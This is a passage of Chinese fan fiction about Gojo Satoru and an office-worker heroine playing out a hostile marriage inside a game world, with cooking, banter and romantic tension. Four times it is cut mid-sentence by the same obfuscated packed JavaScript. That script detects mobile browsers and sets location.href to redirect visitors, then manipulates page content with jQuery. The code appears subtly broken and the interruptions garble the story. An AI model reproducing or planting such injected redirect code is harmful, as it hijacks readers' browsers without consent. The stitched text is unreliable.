她痛苦地抓住两边垂落在肩上的发尾,绝望地喊:“难道就没有什么能让你放弃这段错误的婚姻吗?!” “唔……”五条悟做出思考状,食指无意识地点着下唇,“还是有的。” 有戏! 社畜猛地振奋精神,洗耳恭听,同时大脑依旧急速运转着。 她才不相信五条悟会说出什么正经的话,就等她使出完全不输阵的嘴炮反击吧。 五条悟脸上戏谑的笑容消失了,他非常认真地看着社畜,少见地有些严肃。 他说:“对我而言,只要社畜小姐回答一个问题就够了——” “社畜小姐,你还想杀我吗?” 社畜猛地愣住。 本以为五条悟还要逗她,已经做好反击的准备。 想不到五条悟会这么直接。 在这种问题面前沉默其实也是一种回答,半晌后,社畜僵硬地摇了摇头。 也就摇了两下,她深吸一口气,又重重地点了点头。 “诶,为什么?”五条悟一副大受打击的样子,语气委屈,依然不紧不慢地看着社畜,“是因为喜欢上了别的男人,所以急着让自己老公去死吗?” 社畜沉重地说:“婚姻并不会因为不忠而破裂,那不过是其他问题的表象,归根结底是我们两个人之间存在着不可解决的矛盾。” “矛盾也是可以解决的嘛,”五条悟手背在身后,身体前倾,认真地看着社畜,连眼睛看起来都澄澈无比,“就像社畜小姐抱着一颗坚定的社畜之心在完成工作一样,我也抱着一颗坚定的好丈夫之心在试图修复我们之间的关系呢。” 可恶啊!这个男人,竟然还掌握了她的胡说八道武器,现在反过来用她的技巧攻击她了。 她望进五条悟漂亮的瞳孔,轻声说:“可是,修复不了啊。” 有点惆怅和难受,社畜垂下头不让五条悟看她的表情。 “下定决心要杀人的话,就不要露出这种表情,也不要一次又一次在大好的机会面前放弃,会让要被杀掉的我很困扰的,有种在被讨厌的小猫当成猎物戏弄的感觉。”五条悟用着开玩笑一般的语气说这些话。 反正都聊到这个地步,社畜自暴自弃地说出实话:“因为就是杀不掉你,狠不下心来杀,也没办法杀。” “不想做的事情,不去做不就行了。” 五条悟的声音很轻,像是传说异闻里,能够蛊惑人心的妖怪。 社畜摇了摇头:“每个人都有自己不得不背负的责任。” 五条悟意味深长地说:“社畜小姐,实在坚持不下去的工作,可以告诉我,说不定……不,我很有信心,可以帮你解脱。” 社畜猛地抬头看向他,眼神中是说不出的古怪。 似乎……有无语,有不解,也有愤怒。 无语?? 五条悟挑眉:“怎么这幅表情,我是什么大恶人吗?” 社畜移开视线:“不如说,正是你这幅毫无察觉的样子,才让人觉得讨厌。” 五条悟叹了口气。 他都是真的很帮助到她。 但是—— “我能拯救的,只有想被我拯救的人。” 熟悉的话再一次脱口而出。 已经成熟的五条悟稍微能体会出这句话其中会有那么一点会让人不快的傲慢,他在想要不开个玩笑驱散一下这句话带来的沉重气氛,已经挂上了漫不经心的笑容—— 社畜带着仿佛在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243397|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看什么邪.教宣传的神情,义正言辞地反驳:“不必了,从小到大,我的家庭,我所接受的教育,我自己的人格,我坚守的人性,都告诉我,不可以——” 说到真的会攻击五条悟的地方,她又停了下来,斟酌地选了个很普通的表达:“不可以放弃自己的坚持。” 五条悟敛了笑意,不动声色地看着她。 社畜小姐和他一样,很擅长说轻飘飘的玩笑话,但在真的会伤害人的言语上,她总是很小心。 连言语的伤害都不忍心,明明是个善良的人,在那些所谓的游戏中的表现,无疑也说明她是个还算不错的成年人,甚至可以说比他还要更像个得体的大人。 这样的人,究竟是为什么,非杀掉他不可呢? 为什么,她像是很清楚他所拥有的力量,知道他可以帮助她,却依然对所谓的“领导”和“公司”言听计从呢? ……总感觉哪里不太对。 如果已经被洗脑得很彻底……那就有点难办了…… 在沉默长得足以被人注意到之前,五条悟已经带着让人信服的笑容开口,像是在给学生讲课一般:“夫妻关系也是很复杂的,有很多种类哦,社畜小姐。” 社畜也很给面子地接话:“嗯?怎么说?” 他的语调轻快:“不是也有那种夫妻关系嘛,明明是夫妻,背地里却是敌人,都肩负着不得不杀掉对方的任务——” 社畜已经带着恍然大悟的表情,握拳捶了下掌心:“哦!我知道,你说的是那个——” “《史密斯夫妇》。” “《间谍过家家》!” 两个人毫无默契地说出了不同的答案。 “《史密斯夫妇》是什么年代的事情了?请问尊敬的五条先生贵庚?”社畜露出了嫌弃的表情,连敬语都进行了超级豪华大升格。 “《间谍过家家》是什么?我已经很紧跟当下潮流了,还是完全没有听过,”五条悟的表情还要更嫌弃,“我是1989年出生的。” 社畜面露同情:“89年出生很可怜诶,你想啊,平时都会被叫做‘80年代生人’,明明从认同感和文化记忆角度而言更接近90年代。” 五条悟倒是气定神闲:“是会有这种感觉啦,但是不管怎么说,更多的时候还是会被统一认为是‘千禧世代’或者‘宽松世代’吧——社畜小姐呢?不会是Z世代吧?啊呀,那感觉会和年轻的妻子有点代沟,不过也不用担心,我现在的学生基本都是Z世代哦,心态很年轻的五条老师完全和他们打成一片呢。” 社畜露出标准的笑容:“不好意思,我刚好是90年出生的,完全没有认同危机哦,至于代沟,我觉得倒是和年龄无关,反正都大得吓人呢,对于我们而言更致命的明明是三观完全不一样。” 五条悟露出一个更加耀眼和标准的笑容:“都不是问题,三观可以慢慢趋同,培养夫妻感情可以先从共同话题开始,不如社畜小姐跟我讲一讲《间谍过家家》究竟是一部怎么样的作品吧。” 22.老公悟 社畜回想了一下剧情:“是一部关于智勇双全的间谍小姐,和长相帅气又肌肉线条美好的杀手先生,组成家庭,收养了一个可以读心的女儿,一家人齐心协力打败反派的故事。” 这么一想,是她狭隘了,谁说和五条悟做夫妻就是乙女向恋爱游戏了,明明依然是动作类或者格斗类游戏。 “那在社畜小姐心中,我就是那个英俊又身材好的丈夫了~”五条悟摸了摸头,发出“嘿嘿嘿~”的软乎乎可爱笑声。 社畜:“……” 果然还是很难想象,五条悟长大后竟然是这种性格,总不能是被她影响长歪的吧? 就他们如此短暂而意味不明的共同经历而言,绝对不是。 大概是也有那种,脑子完全坏掉的反派,或者是愉悦犯的类型,会动不动就因为奇怪的事情勃.起或者说些什么“我真是high到不行”的那种。 看来还是她之前对于人物的理解太片面了。 吐槽的话已经先脑子一步说出口:“不,你是那个反派。话说回来,你这个样子,真的不会觉得OOC吗?” 童年、青年和成年,感觉简直像是三个不同的人。 ……不过之前都忙着和五条悟一起过游戏剧情,也说不上对他的个性有多少了解。 “OOC是什么?Out of control吗?这种东西从一出生就没有了。”五条悟随意地摆了摆手。 社畜无情地戳穿了他在装傻:“是Out of character,说到这个,为了符合设定,既然我们都是以杀死对方为目的而结成夫妻的,那么现在就开门见山地完成一下任务,请攻击我吧,五条先生,我觉得你有必要了解一下我们夫妻间的复杂制约关系。” 五条悟双手在胸前比出一个大大的“叉”:“诶?!为什么!才不要!哪有galgame会是这种暴力的展开啊!” 社畜抬起手的时候,手中已经握着一把厨刀,她的神色平静,人却步步逼近:“因为这不是一个galgame——如果你不攻击我的话,我就攻击你了。” 五条悟抬起一只手让她停下,嘴里嘟囔着“从来没见过这么奇怪的要求原来还是个抖m系的妻子吗也不是不能接受啦那就稍微粗暴一点吧……” “茈。” 嘴上亲亲热热地叫着妻子,下手却毫不留情,耀紫的光芒在指尖波动,一弹指,毁天灭地的假想质量轰然而至。 公寓被击穿了个大洞,露出外面鳞次栉比的房屋,五条悟眯起眼睛,看见社畜毫发无损地站在房间正中央。 外面的世界,宁静得诡异。 他也毫不惊讶,只是笑眯眯地说:“真有意思。” 房间一瞬间复原,甚至没有那种时间逆流般砖石瓦砾一片片飘回原位的过程,一切的变化不过社畜一念之间。 即使展示了一番这种堪称奇迹的能力,她依然没精打采,完全不像是为了炫耀实力,只是平静地说:“还有更有意思的,你攻击自己试试看。” 五条悟:“我没有那种特殊的癖好。” 社畜:“……” 社畜叹了口气:“不攻击也行,反正有过例子,你还记得在第一个世界我想击败你,甚至是你自己开的枪,但是最后倒下的却是我吗?” 五条悟理所当然地说:“那是因为魔王就是社畜小姐嘛,这是游戏世界的因果律,没有人可以违抗。” 社畜皱起眉头:“完全不是这么一回事,你也看见了吧,这个世界的一切都受我的意志影响,除非我心里认为魔王就是我自己,那么子弹无论如何都不会射向我的。” 五条悟若有所思:“唔……为什么社畜小姐永远不会认定自己是魔王呢?” 社畜:“因为我很清楚我自己的性格就是这样,不可能怀疑或者否定自己。” “呜哇!心动~”五条悟突然夸张地捂住胸口向后倒去,他又扭捏地问,“呐呐,社畜小姐,那个,你作为游戏的掌控者,能看见我好感度上升的特效吗?心思这么直白地被人看见会有点不好意思呢……” ……这人也太莫名其妙了吧。 为什么他一个人在这里自娱自乐地玩起了恋爱游戏啊! “都说了这不是恋爱游戏了,是战争啊战争,love is war!”社畜走过去,自然地把刀递到了五条悟手上。 五条悟竟然也乖乖地摊手接下了,他歪头:“诶?” 社畜云淡风轻:“饿得有点难受了,干什么都提不起劲来,可以麻烦你去做顿饭吗,老公。” 变把刀出来正是这个原因。 五条悟:“竟然还会感到饥饿吗?” 社畜沉重地点了点头:“与其说是身体的饥饿,不如说是精神上的饥饿,虽然对你来说可能是很久远的事情了,但是我刚刚在上一个世界,饿得感觉自己的胃都要被消化掉了——说起来还都是你的错!” “我明白了,”他握住刀柄,对这莫须有的指控也欣然接受,“但是,社畜小姐不能直接变出食物来吗?” “这和那种科幻片中只能吃营养补充剂的可怜未来人有什么区别,食物的美味之处就在于充满爱意的烹饪过程啊,”社畜顿了顿,“老公。” 五条悟:“……” “好好,”他毫不在意地晃着手中的刀,锋利的寒光一闪一闪,“有想好要吃什么吗?” 社畜:“你自己想啦。” 五条悟:“唔……咖喱饭?夫妻间要分担家务吧,社畜小姐可以去买菜吗?” “可以,”社畜往门口走,“跟我来,厨房在这边。” 其实她也没走几步,社畜所住的公寓是那种进门就是厨房,厨房隔一扇门就直接是房间的户型,在单身公寓中还算宽敞。 走到灶台旁边,她默默转身:“菜已经买好了,就在这里。” 五条悟:“……” 他抗议:“这太偷懒了吧!食材的美味之处也在于充满期待地挑选并且买下来的那个过程啊。” “才没有这回事,”社畜狡黠地笑,“请加油哦,老公。” 社畜嘴上语气轻柔,笑容甜腻,身体却毫无感情地做了个加油的手势,拖着脚步走回房间,无力地倒在地上,盯着天花板发呆。 在她身后,五条悟垂眸看着满袋食材,勾起嘴角。 娶了个很不得了的老婆呢。 * 社畜大脑乱糟糟的,完全想不通接下来要怎么办,把五条悟支去做饭不过给自己一个单独喘息和思考的机会,也并不期待他能做出什么能吃的东西。 五条悟刚刚摘下的眼罩垂落在地上,她拿在手里看了一眼,莫名想起之前抚摸他雪白长睫的柔软手感,恍惚间又觉得更像是摸着五条小毛球或者揉着五条小少爷的头发。 ……要是“游戏”永不停止,不用面对现实就好了。 出人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250037|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意料的是,从厨房方向传来的切菜声相当规律和专业,煮饭备菜,步骤也有条不紊,一看就是做饭的熟手。 社畜:? 她忍不住出声问道:“你……经常做饭?” 切菜的间隙中传来男人回复的声音:“嗯,毕竟一个人生活,工作时间又很不规律,很多情况下都要自己做饭。” 社畜眨了眨眼,感慨:“当反派也不容易啊。” 五条悟无奈地把切好的洋葱倒入锅里:“都说了我是好人,反派小姐。” 社畜微微侧头,可以看见厨房里忙碌的颀长身影。 弯腰的弧度,垂落的发丝,专注的眼神,骨节均匀的手指稳稳地握住锅柄,干脆利落的动作,看起来相当赏心悦目。 真的会有一种家的错觉。 又想起刚刚五条悟小时候可爱的样子了。 欣赏了一会儿,她转头继续盯着天花板,苦闷地用罗密欧与朱丽叶的口吻感叹:“五条悟啊五条悟,你为什么要是五条悟。” 五条悟直起身来看了她一眼,没有说话。 等待食物炖煮的时间里,他也没有走出厨房,而是靠在墙壁上,支着下巴,若有所思地盯着锅。 这对貌合神离的夫妻,一个在厨房,一个在房间,想着各自的事情。 咖喱的香味慢慢地飘了出去,五条悟察觉到社畜一直在往自己这里偷看,心中暗暗失笑。 电饭煲响起米饭完成的提示音时,他掀起灶台上的锅盖,用勺子搅了一圈,更加浓郁的咖喱香味散发了出来。 他感受到社畜倏地热切和期待的目光。 真好玩,随便逗一下就有反应,有点让他想起他那些可爱的学生们了。 “可以吃了哦~”五条悟勾起嘴角,愉快地说。 社畜火箭发射一般冲了过来,狗腿地拿出盘子舀饭端好一气呵成,双眼闪闪发光,赞美之词不绝于口:“哇!好香!!太厉害了!!” 身后仿佛有一条尾巴在摇。 五条悟给她盛上咖喱,勺子在盘子上轻敲了一下,像是作为不方便敲她头的替代:“这么兴奋,多久没吃过饭了?” 社畜小心翼翼地护着两盘咖喱饭回房间,眼里只有美味的饭,头也不回:“都说了,是一种精神上的饥饿,因为已经有很久没吃到过‘人’亲手做的东西了。” 骗子小姐,刚刚可不是这么说的,这么快又有新的说辞了。 尽管行事和思维相当脱线,社畜小姐的礼节依然十分周到,等到五条悟也施施然在矮桌旁坐下时,社畜才拿起餐具,迫不及待地说着“我开动了”开始品尝。 “好吃吗?”五条悟没有吃饭,只是支着下巴看她。 社畜吃饭的动作和表情,奇怪地让人有一种也感到满足的魔力。 社畜“啊呜啊呜”地往嘴里塞着饭,只有空冲他伸出一只大拇指,使劲地一口吞下之后,才声情并茂地开口:“毫不夸张地说,是吃着吃着老公现在突然死掉了,我都注意不到的那种好吃。” 夸他的时候一定要顺便损他一下。 五条悟笑意更深了,他偏了偏头:“既然这样,能不能给辛苦的厨师一点奖励?” 社畜小鸡啄米般地点头,一副已经全身的血液都涌到了胃部,大脑变得轻飘飘,懒得转动,心情好到什么要求都会答应的样子。 他微笑着问:“那么我想知道,社畜小姐,究竟叫什么名字?” 23.老公悟 社畜停下了往嘴里塞饭的动作,只是细细地咀嚼着嘴里的食物,沉静地看着五条悟。 吞下去了,她才用鄙夷的目光看着他:“你就这点追求?” 五条悟下巴靠在自己的手上,又往她这边凑近了一点,笑容不减:“这很重要诶,男人结婚了还不知道自己老婆叫什么,要被骂人渣的吧,而且就算不喊‘亲爱的’或者‘大小姐’、‘公主大人’,都是夫妻了,平时总要互相喊名字。” 什么烂借口啊,这家伙明明看上去是完全不会担心这种事情的轻浮性格。 不过无所谓,社畜(shachiku)毫不在意地告诉了他:“我叫幸子(sachiko)。” 五条悟一顿。 也就是说,她一直是用名字的谐音当做化名吗? ……其实,真实身份,未必是“社畜”? 还是说,她是从和“社畜”听起来相似的名字中,随便想了一个来应付他? 啊……感觉更困惑了。 面上不显,他故意满足地叹了一口气:“不说姓,是因为已经默认自己改姓‘五条’了吗?啊呀,不知怎的突然有了点结婚的实感,还有点感动呢。” 社畜果然露出一个牙酸又恶心的表情:“O……okami。” 很少见的姓,五条悟不动声色地想。 是大神幸子,还是狼幸子?O是长音吗?还是说……冈见幸子? 不管哪个,都不是他有印象的名字。 有姓的话,应该不会是那种咒灵养大的孩子了吧? 不……感觉也无法完全否认这个可能性…… 幸子仿佛能听见他在想什么,露出一个意味深长的笑容:“是狼哦,因为女人都是大野狼。” ……谁会信啊,她分明只是在模仿着乙女游戏的经典语录而已。 “是个好名字。”五条悟客套地评价。 幸子:“是啦,还记得我刚出生的时候,妈妈把我抱在怀里,说幸子啊……一定会是个幸运和幸福的孩子。” 五条悟:“……” 刚出生时候的事情哪会记得,真是张口就来。 “确实如此,”五条悟露出一个灿烂的笑容,“所以遇到了我这么帅气又优秀的老公大人。” 幸子:“……” “你怎么不吃?”幸子把话题和视线岔开,“是怕我把你盘子里所有的土豆都偷偷变成姜吗?” ……明明是这么厉害的能力,使用方式未免也太幼稚了。 “看来我以后吃东西要小心了,”五条悟嘟囔着,喘出长长一口气,“因为完全没有‘饥饿感’啊,这种时候,比起吃饭,果然还是更想吃点甜品。” 幸子脸上欣喜的笑容是如此地真诚:“太好了!我的意思是……我可以把你的那份也吃掉吗?” “请便。”五条悟笑着把盘子往她的方向推了推。 幸子毫不客气地继续吃了起来,依然是那副幸福得要落泪的表情。 五条悟津津有味地看了好久,她才想起旁边有一个人似的,看了他一眼:“说起来……等会儿也可以一起去吃甜点啦。” 五条悟睁大了眼:“诶,是约会吗?” “你觉得是约会就是约会吧。”幸子恶狠狠地嚼了几口。 在她风卷残云的攻势下,第二盘咖喱饭也很快见底,看来饿了很久这句话确实不假。 余香还萦绕在口腔里,幸子不舍地用勺子刮了刮盘底,不自觉地叹出长长的一口气,十分地意犹未尽。 这幅样子,没有哪个厨师看了不会开心的吧,五条悟的嘴角忍不住微微上扬。 然而幸子盯着盘底,突然陷入了沉思。 ——怎么觉得自己不经意间刮出来的花纹,像是阿姆斯特朗式回旋加速喷气式阿姆斯特朗炮,还原度很高啊。 不好。 五条悟瞬间收了笑意。 他太熟悉这个表情了。 每次社畜盯着什么,脑子里开始想乱七八糟的东西时,就会有那么一下,露出这种空白的神情。 然后,不管她想的是什么东西,都会变成现实。 * 一切都发生在瞬息之间。 极具倾略性的成年男性的气息萦绕在鼻尖,幸子茫然地眨了眨眼,才反应过来自己后撑在地上。 刚刚还一桌之隔的男人,现在双手撑在自己身体两边,完全笼罩住了她。 再稍微抬一点视线,就是线条明朗的下颚,清晰的唇峰,笔挺的鼻梁——是毫无瑕疵的一张脸。 然后,落入那抹深邃又无垠的蓝色之中。 ——长得帅就是好啊,看向死敌的眼神都让人觉得深情。 幸子不是滋味地垂下眼眸,暗暗骂自己怎么会这么肤浅地就心动,突然发现自己处于一个进退两难的境地。 就地躺下吗?好像有点暧昧啊,这不就好像已经放弃内心游离在道德和美色之间的挣扎,做出什么成人心照不宣的邀请一样?! 撑起身吗?不不不不那会直接主动亲上去的吧!! 她僵住了。 小时候的五条悟只是让人觉得可爱而已,即使成熟一点之后,对于高专时期五条悟的美貌,还可以出于一种对于青春活力的欣赏心态,强行加上老阿姨慈爱和艳羡的滤镜。 那么这来自于同龄成熟男性的荷尔蒙,激起的是不折不扣的动心和口干舌燥的欲望。 五条悟偏偏还火上浇油地又凑近了一点,衣物之间暧昧的摩擦,似有若无的温热鼻息,已经让幸子身体不由自主地微微颤抖。 连引以为豪的嘴炮技能都无法发动了,这个时候开口,一定会发出什么不妙的声音。 五条悟缓缓凑到幸子的耳边,男人声音低沉,但是尾音却恶趣味地上扬:“现在的心情是——惊恐不已?还是——小鹿乱撞、脸红心跳?” 才不要被他这样挑逗! 幸子咬紧牙关,房间内的重力倏地上下颠倒。 所有东西都在下坠,因为重力颠倒的缘故,幸子却身不由己地向着五条悟的怀里扑过去。 五条悟只在察觉到重力变化的瞬间惊讶了一下,很快就接住了社畜,一个潇洒的旋身,好整以暇地直身而立在一地狼藉之中。 他依然带着轻松的笑容:“哦呀,幸子投怀送抱的气势,真是很惊人啊。” 幸子无语地闭上眼,这次重力的方向只是旋转了九十度,她轻松地从五条悟的怀抱中跳了出来。 房间里像是刚被炮弹轰炸过,她坐在翘起的床垫一角,重重地出了一口气,生气地瞪着五条悟。 别说她还穿着宽松的家居服,去掉刚刚的前因后果,光是看见这个场景,倒是很像什么一觉醒来发现家被拆没了的无辜受害者。 而这一切明明都出自她自己的手笔。 五条悟早就在重力变化之时闲适地找了个安全的落脚点,他现在无辜地冲着社畜摊手:“我是好心帮你诶。” ……所以说她最讨厌很会运用自己男性魅力的类型了!真的很难对着这么好看的一张脸发火。 “突然扑过来,然后……这样……那样……是在帮我??”幸子大脑混乱得口齿也跟着不清起来。 “是啊。”五条悟点了点头。 他不紧不慢地解说:“幸子脑子里想的东西,会变成现实的对吧?刚刚发现幸子好像又在想什么乱七八糟的东西,所以——” 五条悟“啪”地打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276872|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个响指:“我情急之下,只好用这样的方式让幸子脑子里没有空余去想别的事情了。” ——完完全全就是一个很擅长利用自己男性魅力的人渣! 讲解完,他还得意地看了一圈:“很有效嘛,至少没有从吃完的咖喱盘子里诞生什么毁灭世界的大怪兽。” 幸子腹诽,哪里会有大怪兽啊,充其量只会出现一个阿姆斯特朗式回旋加速喷气式阿姆斯特朗炮而已。 他自己不是也有吗,又不是没见过。 “不过,”五条悟往她这边走了几步,在马上又要突破安全距离的时候,他悠然停下,似笑非笑地看着幸子,语调暧昧,“刚刚被我压在身下的时候,盯着我看的时候,幸子……在想什么呢?” …… 幸子毫不犹豫:“我在想,成龙的鼻子真大啊。” 五条悟:“……” 他无奈地说:“就算本来不大,被你这么一想,也会变大的。” 幸子无辜地眨了眨眼,告诉他:“在我脑子里想的事情,并不会全部变成现实。” 重力蓦地恢复了正常,房间里的一切也都回归原状。 幸子和五条悟一坐一立,好像刚刚什么也没发生,只是吃完饭后,五条悟突然站了起来一般。 她说:“要在大脑中下达非常清晰的命令,比如说‘重力和房间里的一切都恢复原状’,才会有这样的效果。” 是在进行类似于术式公开一样的行为吗?五条悟不动声色地想。 幸子好像是真的无所谓她口中的“反派”知道她能力的细则,或许出于一种对于绝对实力的自信:“当然,这么说也不准确,有时候突然出现在脑子里的什么随便的想法,也会莫名其妙变成现实,这其中的规律我现在也没搞清楚。” 她伸出两根手指:“但是有两件事情是确定的,第一,已经发生的事情不能改变,第二,关于你,我无法施加任何变化和影响。” ……又在骗人了吗,如果无法施加影响,“召唤”又是怎么一回事? 五条悟还有心情开玩笑:“啊,刚才贴在一起的时候,我感觉呼吸急促,心跳加速,原来不是幸子的魔法啊,好可惜。” 幸子收回手指,瞪着无情的死鱼眼:“你应该对我无法影响你这一点感激涕零,因为每次你像这样勾引我的时候,我都会在心里想象你便秘的样子。” 五条悟:“……” 谁在勾引她了,还有—— 五条悟:“为什么是便秘的样子?” 幸子:“怎么说呢,因为感觉便秘是会让人觉得恶心和搞笑,但是又不至于过于恶心的一个场景——不然完全无法招架你这种把男性魅力当做武器的软饭男。” 五条悟:“对妻子施展男性魅力是夫妻间的小情趣,幸子真是的,也太不解风情了。” 说完还嘟起嘴,好像真的受了多大委屈一样。 五条悟的心里却在冷静地分析—— 他大概理解“游戏”的作用了,大概是通过施加一些作为“世界观”出现的、所有参与者都无法违抗的法则,从而达到限制他或者杀死他的目的。 恋爱游戏,目的是什么呢?要怎么“通关”呢? 爱上对方吗? 他对上幸子红褐色的双瞳,没来由地回想起了刚才亲密接触时,嗅闻到发丝间的清香,透过衣物依然能感受到的柔软又温热的肉.体,可爱又慌乱的反应,还有事后脑回路古怪的嘴硬。 呼吸急促,心跳加速,纵使他向来爱说半真半假的玩笑话,这句却没有在骗人。 好奇、有趣、心动、刺激……说不上是什么感受。 五条悟喃喃自语:“这个婚,真是结得太棒了。” 24.老公悟 幸子嫌恶地皱起眉头:“好恶心,一副婚姻中既得利益者的嘴脸。” “好的婚姻是双赢哦。”五条悟竖起一根食指,摆出无所不知无所不晓的五条老师姿态。 幸子评价:“喜欢把职场作风带回家里耀武扬威的那种丈夫。” “幸子,”五条悟悠闲地放下手,斜睨过来的蓝眼睛里闪着得意的神色,“对本应该讨厌的人心动之后恼羞成怒了吧?现在就像是被踩到尾巴的小猫一样,应激地乱抓乱叫呢。” 幸子深吸一口气,露出一个甜蜜的笑容,身上已然穿着出门的休闲装束:“怎么会呢,亲爱的老公,斗嘴也是夫妻之间的情趣罢了——我们现在出门散散步,顺便吃点饭后甜点吧,五条先生。” “起码要叫‘悟’啦。” 年上的老公意外是爱撒娇的类型。 * “你有什么喜欢吃的类型吗?”幸子掏出手机。 这个世界还有手机?五条悟好奇地探过头去,发现幸子点开了地图app。 地图定位他们在东京,上面布满了幸子留下的、密密麻麻关于各个地点的图标标记,要把地图放得很大才能看见被这些图标挡住的地名文字。 看起来,幸子之前的生活很丰富嘛。 五条悟意有所指地开口:“只要是甜的都可以,不过,我也在手机上标记了我的甜点地图哦。” 兜里一沉,五条悟突然感受到自己手机的存在。 ……妻子原来是这么好说话的性格。 他沉默地解锁手机,熟练地滑动几下屏幕,打开几个app,短信,line,ins,twi都看了一遍。 这确实是他自己的手机。 幸子的能力,看来可以超乎她自己认知的限制,使创造出来的东西变成完全合理化的存在。 真是出人意料的强大。 在手机屏幕上,所有的信息都停留在了2018年。 2018年…… 他最后的记忆…… 学生们着急又欣喜的面孔,他挥挥手想开个玩笑化解一下重逢场景的肉麻气氛——毕竟不需要他们感动得边流泪边呕吐顺便解决地球变暖问题,结果学生们已经七嘴八舌地讲了起来,还没听完就轰然而至的巨大咒力—— “选好了吗?”幸子的话打断了他的回忆。 五条悟打开地图,随便翻了两下,还沉浸在刚刚的回忆中,心不在焉地回复:“都听老婆大人的。” 幸子已经对这个称呼免疫了,她长叹了一口气:“这么一说,突然有点想回京都吃和果子。” 五条悟从手机上抬起眼:“幸子……是京都人?” “对啊,”幸子恹恹地回复,说出心中正在纠结的想法,“因为没有办法对你施加任何影响,所以我们不可以瞬移到京都,要想把京都搬过来也好麻烦……虽然也可以直接‘制造’出来想吃的东西,但是如果不去店里吃感觉风味就不一样……该怎么办呢?真伤脑筋……” 五条悟深有同感地点点头:“虽然我可以用术式瞬移,但是随意使用直线的瞬移也有点危险,京都没有机场,之前每次去京都只能坐新干线,真的好麻烦——不过不管在哪,我都愿意和幸子一起去店里品尝哦,反正我们最不缺的就是时间了。” 幸子蓦地抬起头,无语地看着他:“小心点,在我们京都人面前说京都没有机场很麻烦这种话会被觉得是在阴阳怪气嘲笑我们京都是小地方的。” “怎么会,”五条悟笑,“我也是京都人。” “诶?!——”幸子刚想吐槽五条悟是京都人说话竟然还这么粗线条,但是突然想起五条悟小时候精致矜贵的模样,又觉得十有八九是真的,她硬生生地住了嘴。 “啊……”脸上表情几经变化,她最终平静地点点头。 五条悟问:“东京没有你觉得好吃的和果子吗?” 对于这个问题的答案,五条悟是真的感到好奇。 “还是有的啦,”幸子站起身来,心里已经想好了一个地点,“走吧,你的眼罩还要带上吗?” 五条悟摇了摇头。 这个世界和现实世界别无二致,准确来说,是看起来和2018年的东京完全一致。 唯一奇怪的地方,就是除了他们,其余之外一个人都没有,也正像第一个世界一样,没有一丝咒力,也没有任何残秽。 ……连NPC都不需要了吗?五条悟边走边打量着四周。 最后这个两个拥有着强大能力的夫妻,非常普通地搭了电车去世田谷。 在电车上,他们互相交换欣赏了一下对方制作的甜品地图。 幸子客观地评价道:“你标记的基本都是游客热门和以离谱高价闻名的店啊。” ……从京都人的口中说出这种话,大概是在暗暗嘲讽他并不够格吧。 五条悟不满地撅起嘴:“因为工作很忙嘛,只能抽时间去尝尝最多人推荐或者有什么权威机构背书的店,我没有那么挑啦,有时候还会去便利店紧急补充工业糖分。” “具体有多忙?”对于反派的事业心,幸子好奇的同时也非常佩服。 “唔……”五条悟回想了一下,“一般的话,每天都要早上7点起床,然后忙到凌晨4点才能睡觉,如果有紧急的任务自然是要通宵的。” 幸子:?! 她吓得声音都变了调:“真的假的,会猝死的吧?!” “不会猝死的啦,”五条悟露出一个让人安心的笑容,“你还记得在勇者世界我对你用过的反转治疗术式吗?也可以对自己用,一直修复身体就行了。” 幸子:“……” “对不起,”幸子诚恳地低下了头,“我竟然在您的面前自称社畜,还夸夸其谈,这实在是太冒犯了。” 五条悟毫不在意地摆了摆手,突然听见幸子在低着头小声咒骂“原来是没有在正常的工作环境待过才这么变态来折磨我的吗气死我了……” 五条悟:? 变态?他吗?折磨她? 电车却在这个时候到站了。 明明也在东京,下车之后,周围却显得非常宁静和古朴。 五条悟插着兜走在空无一人的街道上:“诶,我还不知道这边有很好吃的和果子店呢。” “很少人知道,还是每天限量供应的,师傅也不太会玩网络,一般都是住在这边的老人在买……要知道跟着老奶奶排队一定能吃上好东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287747|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 